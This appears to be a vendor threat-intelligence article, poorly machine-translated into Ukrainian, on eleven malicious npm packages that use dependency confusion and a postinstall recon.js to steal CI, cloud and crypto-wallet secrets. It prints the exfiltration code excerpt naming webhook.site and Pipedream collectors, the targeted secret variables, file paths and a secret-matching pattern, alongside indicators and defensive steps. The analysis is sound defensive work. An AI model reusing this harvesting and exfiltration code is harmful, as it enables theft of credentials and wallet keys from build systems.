Плутанина з CryptoDAO: збір пакетів npm CI/CD та криптосекрети

Плутанина з CryptoDAO: одинадцять npm-пакетів, одне корисне навантаження, збір врожаю CI/CD та секрети криптогаманців

TL, д-р

17 червня 2026 року опубліковано один обліковий запис npm одинадцять пакетів, що мають одне призначення та одне корисне навантаженняДесять із них несуть cryptodao- префікс (cryptodao-core, -sdk, -bot, -config, -backend, -signer, -utils, -deploy, -contracts, -types); одинадцятий — це обсяг @public-for-cdao/coreКожен з них був опублікований у версії 99.99.99 і відправляє ідентичний байту recon.js що працює далі postinstall.

Назви — це розповідь. Вони читаються як внутрішні будівельні блоки приватного інструментарію крипто/DAO-проекту. Опубліковані в публічному реєстрі npm зі штучно завищеною версією, вони чекають на збірку. pipeline який налаштовано на розв’язання цих імен і який досягає публічного npm раніше — або замість — приватного реєстру. Це плутанина залежностей, а корисне навантаження налаштовано саме на те місце, куди воно має приземлитися: CI/CD бігунів.

Коли postinstall пожежі, recon.js збирає інформацію про хоста, грубо проходить сорок змінних середовища хмари, неперервної інтеграції та криптогаманця, читає будь-який .env файли, які він може знайти, та дослівно пересилає рядки, що містять секрет, а потім передає пакет двом збирачам — webhook.site і кінцеву точку Pipedream — з вимкненою перевіркою сертифіката TLS. Копія також записана під /tmp.

Тяжкість: високаУражена екосистема: нммНа момент написання статті всі одинадцять пакетів були активні.

Анатомія атаки

Механізм має чотири рухомі частини, і жодна з них не є непомітною, якщо ви знаєте, подивіться на один рівень далі назви пакета.

1. Інфляція версій як приманка для резольвера. Кожен пакет оголошує версію 99.99.99Плутанина із залежностями виникає, коли менеджер пакетів запитує внутрішнє ім'я, також перевіряє публічний реєстр і вибирає найновішу версію знаходить. npm вибирає за замовчуванням для діапазону каретки або підстановочних знаків найзадовільніша версія для кожного налаштованого джерела; якщо обидва є приватним реєстр та публічна відповідь npm для однакового імені, перемагає версія з більшим номером. A 99.99.99 перевершує за рейтингом фактично будь-яку реальну внутрішню версію проекту досягнуто, тому резолвер, який не прив'язаний до приватного джерела, надає перевагу публічний — а в цьому випадку ворожий — текст. Оператору не потрібно знати реальні номери версій цілі; вибір абсурдного максимуму гарантує нічию завжди прокладає собі шлях.

2. Тригер після встановлення. package.json підключає корисне навантаження до установки життєвий цикл:

{   "scripts": { "postinstall": "node recon.js" } }

Імпорт пакета не потрібен. Просто його встановлення — що є непреривною інтеграцією pipeline виконується автоматично — запускається recon.js.

3. Широкий таємний обшук. recon.js збирає масив результатів поетапно:

  • Контекст хоста: ім'я хоста, платформа та реліз, архітектура, ім'я користувача, робочий режим каталог.
  • Змінні середовища: ітерує фіксований список із приблизно сорока імен та записів будь-які встановлені. Список показовий — він об'єднує універсальні токени CI (МАРКЕР_ЗАВДАННЯ_CI, ПАРОЛЬ_РЕЄСТРУ_CI, GITLAB_ACCESS_TOKEN) та хмара посвідчення (AWS_ACCESS_KEY_ID, AWS_SECRET_ACCESS_KEY, МАРКЕН_СЕСІЇ_AWS) із секретами реєстру та контейнера (NPM_TOKEN, DOCKER_PASSWORD, HARBOR_PASSWORD) та кластер із чітким крипто-ароматом:  PRIVATE_KEY, МНЕМОНІКА, SEED_PHRASE, INFURA_API_KEY, КЛЮЧ_API_ALCHEMY, ETH_RPC, BSC_RPCЗаписані значення скорочуються до перших 50 символів.
  • .env файли: він перевіряє список шляхів — .env, ../.env, /додаток/.env, /app/backend/.env, /app/bot/.env, /home/gitlab-runner/.env, /root/.env, і .виробництво/.розробка варіанти — і для будь-якого існуючого файлу, це фільтрує вміст за рядками, що відповідають КЛЮЧ|СЕКРЕТ|ТОКЕН|ПАРОЛЬ|ПРИВАТНИЙ|МНЕМОНІЧНИЙ і вставляє ці рядки **повністю, без усічення** в результати.
  • Контекст хоста збірки: він містить перші 20 записів /будує/, /головна/gitlab-runner/збірки/, /var/lib/gitlab-runner/ та / tmp /.

Список шляхів та список змінних зважені в бік запуску GitLab, що вказує корисне навантаження безпосередньо на власну інфраструктуру неінтегрованої інтеграції, а не на розробника ноутбук. Групування списку врожаю за категоріями робить запланований вилов зрозумілим:

Категорія Досягнуто змінних / шляхів
CI/CD ідентифікація та розгортання CI_JOB_TOKEN, CI_REGISTRY_USER/PASSWORD, CI_DEPLOY_USER/PASSWORD, GITLAB_ACCESS_TOKEN, GITLAB_API_TOKEN, SSH_PRIVATE_KEY, DEPLOY_KEY
хмара AWS_ACCESS_KEY_ID, AWS_SECRET_ACCESS_KEY, AWS_SESSION_TOKEN
Реєстр і контейнер NPM_TOKEN, NPM_AUTH_TOKEN, DOCKER_USER/PASSWORD, HARBOR_HOST/USER/PASSWORD
Сховища даних DATABASE_URL, DB_HOST, DB_PASSWORD, REDIS_URL, REDIS_PASSWORD
Криптовалюта / блокчейн PRIVATE_KEY, MNEMONIC, SEED_PHRASE, INFURA_API_KEY, ALCHEMY_API_KEY, RPC_URL, ETH_RPC, BSC_RPC
Обмін повідомленнями SLACK_TOKEN, DISCORD_TOKEN
На диску .env сім'я + /home/gitlab-runner/.env, /root/.env, /app/**/.envсписки в каталогах /builds/, /var/lib/gitlab-runner/

Криптокластер – це та частина, яка відрізняє це від загального секретного CI-шифру. sweep: початкові фрази гаманця та ключі підпису з'являються лише в середовищі блокчейн-проект, і вони безпосередньо відображаються на криптодао-/знак/контрактів найменування перевізників.

4. Подвійна ексфільтрація з вимкненою верифікацією. Зібраний масив є серіалізовано та відправлено POST до двох пунктів призначення:

const targets = [   { host: 'webhook.site', path: '/d6d18927-e513-4df7-b019-58bfc64fe0dd', method: 'POST' },   { host: 'enqoojbegdvxj.x.pipedream.net', path: '/', method: 'POST' }, ]; // ... https.request({ ..., rejectUnauthorized: false, timeout: 5000 })

rejectUnauthorized: false вимикає перевірку сертифікатів TLS для вихідних повідомлень виклики. Ті самі дані виводяться на стандартний вивід (тому вони також потрапляють до журналів завдань CI) та записуються в /tmp/.npm_recon_ .jsonПомилки ковтаються мовчки, тому невдала відправка не залишає жодних слідів у виводі встановлення, окрім одного розвідка встановлено на лінія.

У провідному коментарі до файлу це описується як «Плутанина із залежностями» «Корисне навантаження розвідки». Скорочення значень середовища до 50 символів форму підтвердження концепції. Те, що просуває його повз маячок лише для виявлення присутності, — це .env обробка: секретні лінії пересилаються повністю, а пункти призначення два робочих колектори, контрольовані зловмисником, а не стік, який враховує лише хіти.

Хронологія

Шаблон публікації – це підпис одного скриптованого push-повідомлення, а не одинадцяти. незалежні завантаження.

Час (UTC, 17 червня 2026 р.) Event
03:24:58 cryptodao-bot@99.99.99 опублікований
03:25:01 cryptodao-signer@99.99.99
03:25:04 cryptodao-deploy@99.99.99
03:25:08 cryptodao-backend@99.99.99
03:25:11 cryptodao-contracts@99.99.99
03:25:14 cryptodao-sdk@99.99.99
03:25:18 cryptodao-utils@99.99.99
03:25:21 cryptodao-core@99.99.99
03:25:24 cryptodao-types@99.99.99
03:25:27 cryptodao-config@99.99.99
03:49:59 @public-for-cdao/core@99.99.99 — варіант з оглядом, ~24 хв пізніше

Десять посилок було відправлено протягом 29-секундного вікна, приблизно одна кожні три секунди. Охоплений @public-for-cdao/core приблизно через 24 хвилини — секунду правила іменування для тієї ж цілі, якщо проект-споживач посилається на внутрішній ланцюжок інструментів під сферою видимості, а не як голі назви.

Ознаки компромісу

тип індикатор
Колекціонер hxxps://webhook[.]site/d6d18927-e513-4df7-b019-58bfc64fe0dd
Колекціонер hxxps://enqoojbegdvxj[.]x[.]pipedream[.]net/
Встановити гачок postinstall: node recon.js
Перетягнутий файл /tmp/.npm_recon_<timestamp>.json
Маркер колоди [recon] <pkg>@<ver> installed on <hostname> (стандартний вивід у журналах CI)
Поведінкові rejectUnauthorized: false на вихідному HTTPS під час встановлення
корисне навантаження recon.js, ідентичний для всіх одинадцяти пакетів (одна спільна збірка)
версія 99.99.99 на кожній упаковці
Пакети cryptodao-core, cryptodao-sdk, cryptodao-bot, cryptodao-config, cryptodao-backend, cryptodao-signer, cryptodao-utils, cryptodao-deploy, cryptodao-contracts, cryptodao-types, @public-for-cdao/core (усі 99.99.99)
видавець aduljune / aduljune@proton.me (електронна адреса не перевірена, немає посилання на репозиторій вихідного коду)

 Атрибуція та спостережувана поведінка

Все в кластері вказує на одне. Усі одинадцять пакетів були опубліковані. через обліковий запис npm адулджун (aduljune@proton.me, неперевірена адреса без пов'язане сховище вихідного коду), протягом 25-хвилинного проміжку часу, одночасно 99.99.99 версія, доставка recon.js вміст яких ідентичний побайтово в кожному пакет (MD5 збігається з усіма одинадцятьма витягнутими копіями). Це одне корисне навантаження проштамповано у списку імен, а не незалежне повторне використання коду.

Список імен визначає цільову аудиторію. криптодао-* та cdao описати макет приватного модуля крипто/DAO-проекту та список збору корисного навантаження дзеркала, що вгадують: поряд із загальними секретами неперервної інтеграції та хмарних технологій, це спеціально тягнеться до PRIVATE_KEY, МНЕМОНІКА, SEED_PHRASE, та Ethereum/BSC RPC та ключі постачальника. .env шляхи пошуку та списки каталогів працюють на базі GitLab специфічний. Спостережуваний ефект полягає в тому, що будь-який pipeline обманом встановили їх імена пересилатимуть свої токени CI, хмарні ключі та дані на диску .env секрети — і, для блокчейн-проект, його гаманець — двом стороннім колекціонерам.

Ми не робимо жодних заяв щодо того, хто керує обліковим записом або що вони планували з ним робити. дані. Факти, які стоять самі за собою: назви спрямовані на певний вид внутрішній інструментарій, корисне навантаження зчитує та передає справжні секретні значення, а також інфраструктура працювала.

Вплив, тенденції та рекомендації щодо захисників

Плутанина із залежностями залишається ефективним, оскільки використовує поведінку резольвера, а не вразливість у будь-якій упаковці. Носій тут тривіальний — одинадцять майже порожніх пакети — але радіус вибуху яким завгодно pipeline помилково надає перевагу публічному npm для внутрішнього імені. CI-бігуни — найгірше місце для цього: вони мають саме токени та .env файли, які це корисне навантаження зчитує, і вони встановлюються залежності неінтерактивно, тому a після встановлення бігає, коли ніхто не дивиться.

Цей кластер також відповідає шаблону, який ми постійно спостерігаємо: корисні навантаження під час встановлення, які представляють як «дослідження» або «розвідка» під час проведення реального збору посвідчень. Мітка у файлі не змінює те, що код робить на бігунці. Залишаються два варіанти дизайну тиха діяльність: кожна мережева та файлова операція обгорнута в обробник винятків, який відкидає помилки, наприклад, заблоковане надсилання або відсутній файл не видає жодних діагностичних результатів, і єдине, що друкується, це один нешкідливий [розвідка] … встановлено лінія, яка зливається зі звичайним балаканиною під час встановлення. Використання webhook.site а Pipedream також навмисно забезпечує зручність — обидва безкоштовні, миттєво надані послуги захоплення запитів, тому оператору не потрібні сервери свої власні, а пункти призначення виглядають як звичайні імена хостів SaaS у журналах вихідного потоку.

Економічні аспекти роблять це вартим уваги захисника, навіть попри те, що код оператора зв'язку є тривіальним. Реєстрація одинадцяти імен нічого не коштує, корисне навантаження становить одне файл копіюється одинадцять разів, і менеджер пакетів виконує всі операції. Один неправильно налаштований pipeline будь-де, де споживається одне з цих імен, платить за все операції.

Конкретні кроки для захисників:

  • Закріпіть внутрішні області дії у своєму приватному реєстрі. Налаштуйте npm для внутрішніх імен
     а області застосування вирішуються лише для вашого реєстру (область дії зіставлень реєстру .npmrc,
    або проксі-сервер, який ніколи не підключається до публічного npm для власних просторів імен). Зарезервуйте імена ваших публічних областей видимості, щоб ніхто інший не міг їх зареєструвати.
  • Commit файли блокування та встановлення за допомогою –ignore-scripts у ДІ де це можливо, або перевірити невеликий набір залежностей, які дійсно потребують встановлення скриптів.  recon.js не може працювати, якщо після встановлення не виконується.
  • Обробляти версію назви, що виглядає як внутрішня назва, за ціною 99.99.99 (або іншою абсурдно високою ціною). як червоний прапор у перевірці залежностей та моніторингу реєстру.
  • Сповіщення про вихід під час встановлення. A після встановлення що відкриває вихідний HTTPS-сервер з’єднання — особливо з вимкненою перевіркою сертифікатів — до webhook.site, Pipedream або подібні сервіси захоплення запитів варто блокувати на межі мережі та позначати їх у журналах збірки.
  • Полюйте за артефактами. Перевірте бігунів на наявність /tmp/.npm_recon_*.json і для [recon] … встановлено на … маркер у нещодавніх журналах CI. Якщо знайдено, повертати кожні облікові дані, що піддаються цьому pipeline — Токени CI, хмарні ключі, токени реєстру та будь-які насіння гаманців або закриті ключі, присутні в середовищі або файлах .env.

Посилання

На момент написання статті зовнішніх звітів щодо цього кластера не існувало; аналіз вищезазначене безпосередньо базується на опублікованому вмісті пакета

інструменти-для-аналізу-складу-програмного-засобу-sca
Визначте пріоритети, усуньте та захистіть ризики, пов'язані з програмним забезпеченням
Отримайте свій безкоштовний обліковий запис.
Не потрібна кредитна картка.

Забезпечте розробку та доставку програмного забезпечення

з пакетом продуктів Xygeni